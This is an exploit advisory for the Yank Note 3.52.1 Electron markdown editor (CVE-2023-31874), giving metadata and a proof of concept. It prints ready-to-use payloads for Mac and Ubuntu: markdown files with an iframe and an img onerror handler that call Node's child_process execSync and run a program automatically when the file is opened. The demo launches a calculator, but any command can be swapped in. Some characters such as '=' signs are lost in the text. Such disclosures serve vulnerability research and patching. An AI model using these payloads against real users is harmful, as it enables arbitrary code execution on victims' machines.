Yank Note 3.52.1 Arbitrary Code Execution

# Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution# Date: 2023-04-27# Exploit Author: 8bitsec# CVE: CVE-2023-31874# Vendor Homepage: yank-note.com# Software Link: https://github.com/purocean/yn# Version: 3.52.1# Tested on: [Ubuntu 22.04 | Mac OS 13]Release Date: 2023-04-27Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacementTechnical Details & Description:A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.Proof of Concept (PoC):Arbitrary code execution:Create a markdown file (.md) in any text editor and write the following payload.Mac:<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">Ubuntu:<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">Opening the file in Yank Note will auto execute the Calculator application.